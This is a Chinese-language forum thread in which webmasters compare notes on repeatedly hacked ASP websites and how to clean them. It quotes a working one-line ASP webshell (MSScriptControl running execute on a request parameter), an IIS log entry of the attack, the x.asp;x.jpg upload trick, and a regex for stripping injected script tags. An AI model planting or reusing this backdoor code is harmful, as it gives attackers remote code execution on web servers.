还有个文件名好像是bottum.asp ，吧，，通过IIS日志可以查看到。

POST /Template/rss.asp nor=1&en=1&asp=1&dot=1 80 - 58.61.36.103

有这些代码的文件都要删掉。
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>

好像是Template目录下的rss.asp,C00N.asp等文件吧，文件可能还被隐藏了，真是害人不浅。

可以正则添换

(<script).*?(ft917.3322|%3|i%63xxw|%69cxxw|ic%78xw|icx%78w).*?(\/script>)添换为空格

用ultraedit可以添换目录下的所有文件

我的网站也中了马，不知道多少次了，清理了一回，但是过几个小时一样再次被挂，每次的代码都不一样，js文件在头部，html文件和htm文件都在尾部，从文件中看了看，找到了好几个x.asp;x.jpg之类的木马，都删除了，但是还会被挂，不知道哪里还有，继续大家探讨出一个方法，我快愁死了！！！！

另外上午和icxxw.com那个网站的人联系了一下，他们说已将之去掉，说其他网站上的提示要三天之后才能消失。

是啊

斑竹都被挂了啊~~~
真够惨~~~

现在是要找个方案，怎么样去批量替换才行，需要官方来给解决方案了